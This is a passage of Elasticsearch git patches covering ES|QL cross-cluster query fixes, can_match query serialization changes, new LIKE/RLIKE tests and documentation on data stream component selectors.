--- a/server/src/main/java/org/elasticsearch/snapshots/SnapshotShardsService.java
+++ b/server/src/main/java/org/elasticsearch/snapshots/SnapshotShardsService.java
@@ -411,6 +411,7 @@ private void startNewShardSnapshots(String localNodeId, SnapshotsInProgress.Entr
                 entry.version(),
                 entry.startTime()
             );
+            snapshotStatus.updateStatusDescription("shard snapshot enqueuing to start");
             startShardSnapshotTaskRunner.enqueueTask(new ActionListener<>() {
                 @Override
                 public void onResponse(Releasable releasable) {
@@ -429,7 +430,6 @@ public void onFailure(Exception e) {
                     assert false : wrapperException; // impossible
                 }
             });
-            snapshotStatus.updateStatusDescription("shard snapshot enqueued to start");
         }
 
         // apply some backpressure by reserving one SNAPSHOT thread for the startup work

From 5cd17a977e7ab394d1ba235ec06a59e2b379976c Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Mon, 30 Jun 2025 18:56:35 -0600
Subject: [PATCH 030/299] Fix queries with missing index, skip_unavailable and
 filters (#130344) (#130370)

* Fix queries with missing index, skip_unavailable and filters
---
 docs/changelog/130344.yaml                    |  5 ++
 .../CrossClusterQueryWithFiltersIT.java       | 64 ++++++++++++++++++-
 .../xpack/esql/session/EsqlCCSUtils.java      |  4 +-
 3 files changed, 69 insertions(+), 4 deletions(-)
 create mode 100644 docs/changelog/130344.yaml

diff --git a/docs/changelog/130344.yaml b/docs/changelog/130344.yaml
new file mode 100644
index 0000000000000..7584b9cd4f21f
--- /dev/null
+++ b/docs/changelog/130344.yaml
@@ -0,0 +1,5 @@
+pr: 130344
+summary: "Fix queries with missing index, `skip_unavailable` and filters"
+area: ES|QL
+type: bug
+issues: []
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithFiltersIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithFiltersIT.java
index 91f1cc12851dc..ccea99b798d14 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithFiltersIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterQueryWithFiltersIT.java
@@ -313,13 +313,13 @@ public void testFilterWithMissingRemoteIndex() {
             new RangeQueryBuilder("@timestamp").from("2025-01-01").to("now")
         )) {
             count++;
-            // Local index missing
+            // Remote index missing
             VerificationException e = expectThrows(
                 VerificationException.class,
                 () -> runQuery("from cluster-a:missing", randomBoolean(), filter).close()
             );
             assertThat(e.getDetailedMessage(), containsString("Unknown index [cluster-a:missing]"));
-            // Local index missing + wildcards
+            // Remote index missing + wildcards
             // FIXME: planner does not catch this now, it should be VerificationException but for now it's runtime RemoteException
             var ie = expectThrows(
                 RemoteException.class,
@@ -352,6 +352,66 @@ public void testFilterWithMissingRemoteIndex() {
         }
     }
 
+    public void testFilterWithMissingRemoteIndexSkipUnavailable() {
+        int docsTest1 = 50;
+        int docsTest2 = 30;
+        int localShards = randomIntBetween(1, 5);
+        int remoteShards = randomIntBetween(1, 5);
+        populateDateIndex(LOCAL_CLUSTER, LOCAL_INDEX, localShards, docsTest1, "2024-11-26");
+        populateDateIndex(REMOTE_CLUSTER_1, REMOTE_INDEX, remoteShards, docsTest2, "2023-11-26");
+        setSkipUnavailable(REMOTE_CLUSTER_1, true);
+
+        int count = 0;
+        for (var filter : List.of(
+            new RangeQueryBuilder("@timestamp").from("2023-01-01").to("now"),
+            new RangeQueryBuilder("@timestamp").from("2024-01-01").to("now"),
+            new RangeQueryBuilder("@timestamp").from("2025-01-01").to("now")
+        )) {
+            count++;
+            try (EsqlQueryResponse resp = runQuery("from cluster-a:missing,logs-1", randomBoolean(), filter)) {
+                List<List<Object>> values = getValuesList(resp);
+                assertThat(values, hasSize(count > 2 ? 0 : docsTest1));
+                EsqlExecutionInfo executionInfo = resp.getExecutionInfo();
+                assertNotNull(executionInfo);
+                assertThat(executionInfo.isCrossClusterSearch(), is(true));
+                long overallTookMillis = executionInfo.overallTook().millis();
+                assertThat(overallTookMillis, greaterThanOrEqualTo(0L));
+
+                EsqlExecutionInfo.Cluster remoteCluster = executionInfo.getCluster(REMOTE_CLUSTER_1);
+                assertClusterMetadataSkipped(remoteCluster, overallTookMillis, "missing");
+                assertThat(remoteCluster.getFailures(), hasSize(1));
+                var fail = remoteCluster.getFailures().get(0);
+                assertThat(fail.getCause().getMessage(), containsString("Unknown index [cluster-a:missing]"));
+            }
+
+            try (EsqlQueryResponse resp = runQuery("from cluster-a:missing,cluster-a:logs-*", randomBoolean(), filter)) {
+                List<List<Object>> values = getValuesList(resp);
+                assertThat(values, hasSize(0));
+                EsqlExecutionInfo executionInfo = resp.getExecutionInfo();
+                assertNotNull(executionInfo);
+                assertThat(executionInfo.isCrossClusterSearch(), is(true));
+                long overallTookMillis = executionInfo.overallTook().millis();
+                assertThat(overallTookMillis, greaterThanOrEqualTo(0L));
+
+                EsqlExecutionInfo.Cluster remoteCluster = executionInfo.getCluster(REMOTE_CLUSTER_1);
+                assertClusterMetadataSkipped(remoteCluster, overallTookMillis, "missing,logs-*");
+                assertThat(remoteCluster.getFailures(), hasSize(1));
+                var fail = remoteCluster.getFailures().get(0);
+                assertThat(fail.getCause().getMessage(), containsString("no such index [missing]"));
+            }
+            // TODO: for now, these fail, but in the future may be skipped instead
+            // Remote index missing
+            VerificationException e = expectThrows(
+                VerificationException.class,
+                () -> runQuery("from cluster-a:missing", randomBoolean(), filter).close()
+            );
+            assertThat(e.getDetailedMessage(), containsString("Unknown index [cluster-a:missing]"));
+            // Wildcard index missing
+            e = expectThrows(VerificationException.class, () -> runQuery("from cluster-a:missing*", randomBoolean(), filter).close());
+            assertThat(e.getDetailedMessage(), containsString("Unknown index [cluster-a:missing*]"));
+        }
+    }
+
     private void checkRemoteFailures() {
         for (var filter : List.of(
             new RangeQueryBuilder("@timestamp").from("2024-01-01").to("now"),
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
index 51cb9b35becb1..d507b8275178d 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
@@ -221,7 +221,7 @@ static void updateExecutionInfoWithClustersWithNoMatchingIndices(
                     "Unknown index [%s]",
                     (c.equals(RemoteClusterAware.LOCAL_CLUSTER_GROUP_KEY) ? indexExpression : c + ":" + indexExpression)
                 );
-                if (executionInfo.isSkipUnavailable(c) == false) {
+                if (executionInfo.isSkipUnavailable(c) == false || filter != null) {
                     if (fatalErrorMessage == null) {
                         fatalErrorMessage = error;
                     } else {
@@ -229,7 +229,7 @@ static void updateExecutionInfoWithClustersWithNoMatchingIndices(
                     }
                 }
                 if (filter == null) {
-                    // We check for filter since the filter may be the reason why the index is missing, and then it's ok
+                    // We check for filter since the filter may be the reason why the index is missing, and then we don't want to mark yet
                     markClusterWithFinalStateAndNoShards(
                         executionInfo,
                         c,

From 66b02a825d8fa59ac66d262d7d3f1b8da82c6a0b Mon Sep 17 00:00:00 2001
From: George Wallace <georgewallace@users.noreply.github.com>
Date: Tue, 1 Jul 2025 06:55:41 -0600
Subject: [PATCH 031/299] Update api-conventions.md (#130371)

---
 .../rest-apis/api-conventions.md              | 34 ++++++++++++++++++-
 1 file changed, 33 insertions(+), 1 deletion(-)

diff --git a/docs/reference/elasticsearch/rest-apis/api-conventions.md b/docs/reference/elasticsearch/rest-apis/api-conventions.md
index 574e96e03ac98..bd688868b65f5 100644
--- a/docs/reference/elasticsearch/rest-apis/api-conventions.md
+++ b/docs/reference/elasticsearch/rest-apis/api-conventions.md
@@ -421,6 +421,39 @@ GET /_nodes/ra*:2
 GET /_nodes/ra*:2*
 ```
 
+### Component Selectors [api-component-selectors]
+
+A data stream component is a logical grouping of indices that help organize data inside a data stream. All data streams contain a `data` component by default. The `data` component comprises the data stream's backing indices. When searching, managing, or indexing into a data stream, the `data` component is what you are interacting with by default.
+
+Some data stream features are exposed as additional components alongside its `data` component. These other components are comprised of separate sets of backing indices. These additional components store supplemental data independent of the data stream's regular backing indices. An example of another component is the `failures` component exposed by the data stream [failure store](docs-content://manage-data/data-store/data-streams/failure-store.md) feature, which captures documents that fail to be ingested in a separate set of backing indices on the data stream.
+
+Some APIs that accept a `<data-stream>`, `<index>`, or `<target>` request path parameter also support *selector syntax* which defines which component on a data stream the API should operate on. To use a selector, it is appended to the index or data stream name. Selectors can be combined with other index pattern syntax like [date math](#api-date-math-index-names) and wildcards.
+
+There are currently two selector suffixes supported by {{es}} APIs:
+
+`::data`
+:   Refers to a data stream's backing indices containing regular data. Data streams always contain a data component.
+
+`::failures`
+:   This component refers to the internal indices used for a data stream's [failure store](docs-content://manage-data/data-store/data-streams/failure-store.md).
+
+As an example, [search]({{es-apis}}group/endpoint-search), [field capabilities]({{es-apis}}operation/operation-field-caps), and [index stats]({{es-apis}}operation/operation-indices-stats) APIs can all report results from a different component rather than from the default data.
+
+```console
+# Search a data stream normally
+GET my-data-stream/_search
+# Search a data stream's failure data if present
+GET my-data-stream::failures/_search
+
+# Syntax can be combined with other index pattern syntax (wildcards, multi-target, date math, cross cluster search, etc)
+GET logs-*::failures/_search
+GET logs-*::data,logs-*::failures/_count
+GET remote-cluster:logs-*-*::failures/_search
+GET *::data,*::failures,-logs-rdbms-*::failures/_stats
+GET <logs-{now/d}>::failures/_search
+```
+
+
 ## Parameters [api-conventions-parameters]
 
 Rest parameters (when using HTTP, map to HTTP URL parameters) follow the convention of using underscore casing.
@@ -583,4 +616,3 @@ If one of these quantities is large we’ll print it out like 10m for 10,000,000
 
 `p`
 :   Peta
-

From c8483ce9f02b493bea2db3c5a5146772cbccda9f Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Tue, 1 Jul 2025 09:14:09 -0400
Subject: [PATCH 032/299] Don't build can_match queries we can't push to data
 nodes (#130210) (#130385)

Passes the minimum transport version down to expressions when
we convert them into queries that we'll use for can_match.
Right now all this is used for is skipping the can_match from
the wildcard like queries. The queries we make there aren't
serializable. We'll fix that - but this should give us the
levers that we need to do it in a backwards incompatible way.
---
 .../index/query/AutomatonQueryBuilder.java    |   4 +
 .../xpack/esql/ccq/MultiClustersIT.java       | 182 ++++++++++++++++--
 .../scalar/string/regex/WildcardLikeList.java |   8 +-
 .../local/LucenePushdownPredicates.java       |  78 ++++++--
 .../xpack/esql/planner/PlannerUtils.java      |  18 +-
 .../esql/plugin/DataNodeComputeHandler.java   |   2 +-
 .../esql/querydsl/query/SingleValueQuery.java |   4 +
 .../scalar/string/WildcardLikeListTests.java  |  20 ++
 .../xpack/esql/planner/FilterTests.java       |  62 ++++--
 9 files changed, 322 insertions(+), 56 deletions(-)

diff --git a/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryBuilder.java b/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryBuilder.java
index 9c6331044e6d5..3fd957ee8acfb 100644
--- a/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryBuilder.java
+++ b/server/src/main/java/org/elasticsearch/index/query/AutomatonQueryBuilder.java
@@ -48,6 +48,10 @@ public String fieldName() {
         return fieldName;
     }
 
+    public String description() {
+        return description;
+    }
+
     @Override
     public String getWriteableName() {
         throw new UnsupportedOperationException("AutomatonQueryBuilder does not support getWriteableName");
diff --git a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
index 4ea413e4fcd3b..4b5ed2b271c43 100644
--- a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
+++ b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
@@ -29,6 +29,7 @@
 import org.junit.rules.TestRule;
 
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -37,11 +38,15 @@
 import java.util.stream.Stream;
 
 import static org.elasticsearch.test.MapMatcher.assertMap;
+import static org.elasticsearch.test.MapMatcher.matchesMap;
 import static org.elasticsearch.xpack.esql.ccq.Clusters.REMOTE_CLUSTER_NAME;
 import static org.hamcrest.Matchers.any;
+import static org.hamcrest.Matchers.anyOf;
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.hasKey;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.Matchers.nullValue;
 
 @ThreadLeakFilters(filters = TestClustersThreadFilter.class)
 public class MultiClustersIT extends ESRestTestCase {
@@ -129,7 +134,7 @@ void indexDocs(RestClient client, String index, List<Doc> docs) throws IOExcepti
     }
 
     private Map<String, Object> run(String query, boolean includeCCSMetadata) throws IOException {
-        var queryBuilder = new RestEsqlTestCase.RequestObjectBuilder().query(query);
+        var queryBuilder = new RestEsqlTestCase.RequestObjectBuilder().query(query).profile(true);
         if (includeCCSMetadata) {
             queryBuilder.includeCCSMetadata(true);
         }
@@ -158,12 +163,51 @@ private Map<String, Object> runEsql(RestEsqlTestCase.RequestObjectBuilder reques
         }
     }
 
+    private <C, V> void assertResultMapForLike(
+        boolean includeCCSMetadata,
+        Map<String, Object> result,
+        C columns,
+        V values,
+        boolean remoteOnly,
+        boolean requireLikeListCapability
+    ) throws IOException {
+        List<String> requiredCapabilities = new ArrayList<>(List.of("like_on_index_fields"));
+        if (requireLikeListCapability) {
+            requiredCapabilities.add("like_list_on_index_fields");
+        }
+        // the feature is completely supported if both local and remote clusters support it
+        boolean isSupported = clusterHasCapability("POST", "/_query", List.of(), requiredCapabilities).orElse(false);
+        try (RestClient remoteClient = remoteClusterClient()) {
+            isSupported = isSupported
+                && clusterHasCapability(remoteClient, "POST", "/_query", List.of(), requiredCapabilities).orElse(false);
+        }
+
+        if (isSupported) {
+            assertResultMap(includeCCSMetadata, result, columns, values, remoteOnly);
+        } else {
+            logger.info("-->  skipping data check for like index test, cluster does not support like index feature");
+            // just verify that we did not get a partial result
+            var clusters = result.get("_clusters");
+            var reason = "unexpected partial results" + (clusters != null ? ": _clusters=" + clusters : "");
+            assertThat(reason, result.get("is_partial"), anyOf(nullValue(), is(false)));
+        }
+    }
+
+    private boolean capabilitiesSupportedNewAndOld(List<String> requiredCapabilities) throws IOException {
+        boolean isSupported = clusterHasCapability("POST", "/_query", List.of(), requiredCapabilities).orElse(false);
+        try (RestClient remoteClient = remoteClusterClient()) {
+            isSupported = isSupported
+                && clusterHasCapability(remoteClient, "POST", "/_query", List.of(), requiredCapabilities).orElse(false);
+        }
+        return isSupported;
+    }
+
     private <C, V> void assertResultMap(boolean includeCCSMetadata, Map<String, Object> result, C columns, V values, boolean remoteOnly) {
         MapMatcher mapMatcher = getResultMatcher(
             ccsMetadataAvailable(),
             result.containsKey("is_partial"),
             result.containsKey("documents_found")
-        );
+        ).extraOk();
         if (includeCCSMetadata) {
             mapMatcher = mapMatcher.entry("_clusters", any(Map.class));
         }
@@ -251,11 +295,13 @@ private void assertClusterDetailsMap(Map<String, Object> result, boolean remoteO
 
         @SuppressWarnings("unchecked")
         Map<String, Object> remoteClusterShards = (Map<String, Object>) remoteCluster.get("_shards");
-        assertThat(remoteClusterShards.keySet(), equalTo(Set.of("total", "successful", "skipped", "failed")));
-        assertThat((Integer) remoteClusterShards.get("total"), greaterThanOrEqualTo(0));
-        assertThat((Integer) remoteClusterShards.get("successful"), equalTo((Integer) remoteClusterShards.get("total")));
-        assertThat((Integer) remoteClusterShards.get("skipped"), equalTo(0));
-        assertThat((Integer) remoteClusterShards.get("failed"), equalTo(0));
+        assertThat(
+            remoteClusterShards,
+            matchesMap().entry("total", greaterThanOrEqualTo(0))
+                .entry("successful", remoteClusterShards.get("total"))
+                .entry("skipped", greaterThanOrEqualTo(0))
+                .entry("failed", 0)
+        );
 
         if (remoteOnly == false) {
             @SuppressWarnings("unchecked")
@@ -267,11 +313,13 @@ private void assertClusterDetailsMap(Map<String, Object> result, boolean remoteO
 
             @SuppressWarnings("unchecked")
             Map<String, Object> localClusterShards = (Map<String, Object>) localCluster.get("_shards");
-            assertThat(localClusterShards.keySet(), equalTo(Set.of("total", "successful", "skipped", "failed")));
-            assertThat((Integer) localClusterShards.get("total"), greaterThanOrEqualTo(0));
-            assertThat((Integer) localClusterShards.get("successful"), equalTo((Integer) localClusterShards.get("total")));
-            assertThat((Integer) localClusterShards.get("skipped"), equalTo(0));
-            assertThat((Integer) localClusterShards.get("failed"), equalTo(0));
+            assertThat(
+                localClusterShards,
+                matchesMap().entry("total", greaterThanOrEqualTo(0))
+                    .entry("successful", localClusterShards.get("total"))
+                    .entry("skipped", greaterThanOrEqualTo(0))
+                    .entry("failed", 0)
+            );
         }
     }
 
@@ -371,6 +419,116 @@ public void testStats() throws IOException {
         assertThat(clusterData, hasKey("took"));
     }
 
+    public void testLikeIndex() throws Exception {
+
+        boolean includeCCSMetadata = includeCCSMetadata();
+        Map<String, Object> result = run("""
+            FROM test-local-index,*:test-remote-index METADATA _index
+            | WHERE _index LIKE "*remote*"
+            | STATS c = COUNT(*) BY _index
+            | SORT _index ASC
+            """, includeCCSMetadata);
+        var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+        var values = List.of(List.of(remoteDocs.size(), REMOTE_CLUSTER_NAME + ":" + remoteIndex));
+        assertResultMapForLike(includeCCSMetadata, result, columns, values, false, false);
+    }
+
+    public void testNotLikeIndex() throws Exception {
+        boolean includeCCSMetadata = includeCCSMetadata();
+        Map<String, Object> result = run("""
+            FROM test-local-index,*:test-remote-index METADATA _index
+            | WHERE _index NOT LIKE "*remote*"
+            | STATS c = COUNT(*) BY _index
+            | SORT _index ASC
+            """, includeCCSMetadata);
+        var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+        var values = List.of(List.of(localDocs.size(), localIndex));
+        assertResultMapForLike(includeCCSMetadata, result, columns, values, false, false);
+    }
+
+    public void testLikeListIndex() throws Exception {
+        List<String> requiredCapabilities = new ArrayList<>(List.of("like_list_on_index_fields"));
+        // the feature is completely supported if both local and remote clusters support it
+        if (capabilitiesSupportedNewAndOld(requiredCapabilities) == false) {
+            logger.info("-->  skipping testNotLikeListIndex, due to missing capability");
+            return;
+        }
+        boolean includeCCSMetadata = includeCCSMetadata();
+        Map<String, Object> result = run("""
+            FROM test-local-index,*:test-remote-index METADATA _index
+            | WHERE _index LIKE ("*remote*", "not-exist*")
+            | STATS c = COUNT(*) BY _index
+            | SORT _index ASC
+            """, includeCCSMetadata);
+        var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+        var values = List.of(List.of(remoteDocs.size(), REMOTE_CLUSTER_NAME + ":" + remoteIndex));
+        assertResultMapForLike(includeCCSMetadata, result, columns, values, false, true);
+    }
+
+    public void testNotLikeListIndex() throws Exception {
+        List<String> requiredCapabilities = new ArrayList<>(List.of("like_list_on_index_fields"));
+        // the feature is completely supported if both local and remote clusters support it
+        if (capabilitiesSupportedNewAndOld(requiredCapabilities) == false) {
+            logger.info("-->  skipping testNotLikeListIndex, due to missing capability");
+            return;
+        }
+        boolean includeCCSMetadata = includeCCSMetadata();
+        Map<String, Object> result = run("""
+            FROM test-local-index,*:test-remote-index METADATA _index
+            | WHERE _index NOT LIKE ("*remote*", "not-exist*")
+            | STATS c = COUNT(*) BY _index
+            | SORT _index ASC
+            """, includeCCSMetadata);
+        var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+        var values = List.of(List.of(localDocs.size(), localIndex));
+        assertResultMapForLike(includeCCSMetadata, result, columns, values, false, true);
+    }
+
+    public void testNotLikeListKeyWord() throws Exception {
+        List<String> requiredCapabilities = new ArrayList<>(List.of("like_list_on_index_fields"));
+        // the feature is completely supported if both local and remote clusters support it
+        if (capabilitiesSupportedNewAndOld(requiredCapabilities) == false) {
+            logger.info("-->  skipping testNotLikeListIndex, due to missing capability");
+            return;
+        }
+        boolean includeCCSMetadata = includeCCSMetadata();
+        Map<String, Object> result = run("""
+            FROM test-local-index,*:test-remote-index METADATA _index
+            | WHERE color NOT LIKE ("*blue*", "*red*")
+            | STATS c = COUNT(*) BY _index
+            | SORT _index ASC
+            """, includeCCSMetadata);
+        var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+        var values = List.of(List.of(localDocs.size(), localIndex));
+        assertResultMapForLike(includeCCSMetadata, result, columns, values, false, true);
+    }
+
+    public void testRLikeIndex() throws Exception {
+        boolean includeCCSMetadata = includeCCSMetadata();
+        Map<String, Object> result = run("""
+            FROM test-local-index,*:test-remote-index METADATA _index
+            | WHERE _index RLIKE ".*remote.*"
+            | STATS c = COUNT(*) BY _index
+            | SORT _index ASC
+            """, includeCCSMetadata);
+        var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+        var values = List.of(List.of(remoteDocs.size(), REMOTE_CLUSTER_NAME + ":" + remoteIndex));
+        assertResultMapForLike(includeCCSMetadata, result, columns, values, false, false);
+    }
+
+    public void testNotRLikeIndex() throws Exception {
+        boolean includeCCSMetadata = includeCCSMetadata();
+        Map<String, Object> result = run("""
+            FROM test-local-index,*:test-remote-index METADATA _index
+            | WHERE _index NOT RLIKE ".*remote.*"
+            | STATS c = COUNT(*) BY _index
+            | SORT _index ASC
+            """, includeCCSMetadata);
+        var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+        var values = List.of(List.of(localDocs.size(), localIndex));
+        assertResultMapForLike(includeCCSMetadata, result, columns, values, false, false);
+    }
+
     private RestClient remoteClusterClient() throws IOException {
         var clusterHosts = parseClusterHosts(remoteCluster.getHttpAddresses());
         return buildClient(restClientSettings(), clusterHosts.toArray(new HttpHost[0]));
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLikeList.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLikeList.java
index 0b58594779408..182df940136ed 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLikeList.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLikeList.java
@@ -92,8 +92,12 @@ protected WildcardLikeList replaceChild(Expression newLeft) {
      */
     @Override
     public Translatable translatable(LucenePushdownPredicates pushdownPredicates) {
-        return pushdownPredicates.isPushableAttribute(field()) ? Translatable.YES : Translatable.NO;
-
+        if (pushdownPredicates.minTransportVersion() == null) {
+            return pushdownPredicates.isPushableAttribute(field()) ? Translatable.YES : Translatable.NO;
+        } else {
+            // The AutomatonQuery that we use right now isn't serializable.
+            return Translatable.NO;
+        }
     }
 
     /**
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/LucenePushdownPredicates.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/LucenePushdownPredicates.java
index a476086980534..fcae24cb09c19 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/LucenePushdownPredicates.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/LucenePushdownPredicates.java
@@ -7,6 +7,9 @@
 
 package org.elasticsearch.xpack.esql.optimizer.rules.physical.local;
 
+import org.elasticsearch.TransportVersion;
+import org.elasticsearch.core.Nullable;
+import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
 import org.elasticsearch.xpack.esql.core.expression.MetadataAttribute;
@@ -30,6 +33,24 @@
  * </ol>
  */
 public interface LucenePushdownPredicates {
+    /**
+     * If we're extracting a query for {@code can_match} then this is the
+     * minimum transport version in the cluster. Otherwise, this is {@code null}.
+     * <p>
+     *     If this is not null {@link Expression}s should not claim to be
+     *     serializable unless their {@link QueryBuilder}
+     *     {@link QueryBuilder#supportsVersion supports} the version.
+     * </p>
+     * <p>
+     *     This is done on the coordinating node <strong>and</strong>. And for
+     *     cross cluster search this is done on the coordinating node on the
+     *     remote cluster. So! We actually <strong>have</strong> the minimum
+     *     cluster transport version.
+     * </p>
+     */
+    @Nullable
+    TransportVersion minTransportVersion();
+
     /**
      * For TEXT fields, we need to check if the field has a subfield of type KEYWORD that can be used instead.
      */
@@ -101,29 +122,41 @@ static String pushableAttributeName(TypedAttribute attribute) {
      * In particular, it assumes TEXT fields have no exact subfields (underlying keyword field),
      * and that isAggregatable means indexed and has hasDocValues.
      */
-    LucenePushdownPredicates DEFAULT = new LucenePushdownPredicates() {
-        @Override
-        public boolean hasExactSubfield(FieldAttribute attr) {
-            return false;
-        }
+    LucenePushdownPredicates DEFAULT = forCanMatch(null);
 
-        @Override
-        public boolean isIndexedAndHasDocValues(FieldAttribute attr) {
-            // Is the FieldType.isAggregatable() check correct here? In FieldType isAggregatable usually only means hasDocValues
-            return attr.field().isAggregatable();
-        }
+    /**
+     * A {@link LucenePushdownPredicates} for use with the {@code can_match} phase.
+     */
+    static LucenePushdownPredicates forCanMatch(TransportVersion minTransportVersion) {
+        return new LucenePushdownPredicates() {
+            @Override
+            public TransportVersion minTransportVersion() {
+                return minTransportVersion;
+            }
 
-        @Override
-        public boolean isIndexed(FieldAttribute attr) {
-            // TODO: This is the original behaviour, but is it correct? In FieldType isAggregatable usually only means hasDocValues
-            return attr.field().isAggregatable();
-        }
+            @Override
+            public boolean hasExactSubfield(FieldAttribute attr) {
+                return false;
+            }
 
-        @Override
-        public boolean canUseEqualityOnSyntheticSourceDelegate(FieldAttribute attr, String value) {
-            return false;
-        }
-    };
+            @Override
+            public boolean isIndexedAndHasDocValues(FieldAttribute attr) {
+                // Is the FieldType.isAggregatable() check correct here? In FieldType isAggregatable usually only means hasDocValues
+                return attr.field().isAggregatable();
+            }
+
+            @Override
+            public boolean isIndexed(FieldAttribute attr) {
+                // TODO: This is the original behaviour, but is it correct? In FieldType isAggregatable usually only means hasDocValues
+                return attr.field().isAggregatable();
+            }
+
+            @Override
+            public boolean canUseEqualityOnSyntheticSourceDelegate(FieldAttribute attr, String value) {
+                return false;
+            }
+        };
+    }
 
     /**
      * If we have access to {@link SearchStats} over a collection of shards, we can make more fine-grained decisions about what can be
@@ -133,6 +166,11 @@ static LucenePushdownPredicates from(SearchStats stats) {
         // TODO: use FieldAttribute#fieldName, otherwise this doesn't apply to field attributes used for union types.
         // C.f. https://github.com/elastic/elasticsearch/issues/128905
         return new LucenePushdownPredicates() {
+            @Override
+            public TransportVersion minTransportVersion() {
+                return null;
+            }
+
             @Override
             public boolean hasExactSubfield(FieldAttribute attr) {
                 return stats.hasExactSubfield(new FieldAttribute.FieldName(attr.name()));
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
index 07771a6360625..614d5901c519f 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
@@ -7,6 +7,7 @@
 
 package org.elasticsearch.xpack.esql.planner;
 
+import org.elasticsearch.TransportVersion;
 import org.elasticsearch.common.Strings;
 import org.elasticsearch.common.breaker.NoopCircuitBreaker;
 import org.elasticsearch.common.util.BigArrays;
@@ -212,8 +213,8 @@ public static PhysicalPlan localPlan(
     /**
      * Extracts a filter that can be used to skip unmatched shards on the coordinator.
      */
-    public static QueryBuilder canMatchFilter(PhysicalPlan plan) {
-        return detectFilter(plan, CoordinatorRewriteContext.SUPPORTED_FIELDS::contains);
+    public static QueryBuilder canMatchFilter(TransportVersion minTransportVersion, PhysicalPlan plan) {
+        return detectFilter(minTransportVersion, plan, CoordinatorRewriteContext.SUPPORTED_FIELDS::contains);
     }
 
     /**
@@ -221,11 +222,14 @@ public static QueryBuilder canMatchFilter(PhysicalPlan plan) {
      * We currently only use this filter for the @timestamp field, which is always a date field. Any tests that wish to use this should
      * take care to not use it with TEXT fields.
      */
-    static QueryBuilder detectFilter(PhysicalPlan plan, Predicate<String> fieldName) {
+    static QueryBuilder detectFilter(TransportVersion minTransportVersion, PhysicalPlan plan, Predicate<String> fieldName) {
         // first position is the REST filter, the second the query filter
         final List<QueryBuilder> requestFilters = new ArrayList<>();
+        final LucenePushdownPredicates ctx = LucenePushdownPredicates.forCanMatch(minTransportVersion);
         plan.forEachDown(FragmentExec.class, fe -> {
-            requestFilters.add(fe.esFilter());
+            if (fe.esFilter() != null && fe.esFilter().supportsVersion(minTransportVersion)) {
+                requestFilters.add(fe.esFilter());
+            }
             // detect filter inside the query
             fe.fragment().forEachUp(Filter.class, f -> {
                 // the only filter that can be pushed down is that on top of the relation
@@ -243,15 +247,13 @@ static QueryBuilder detectFilter(PhysicalPlan plan, Predicate<String> fieldName)
                         // and the expression is pushable (functions can be fully translated)
                         if (matchesField
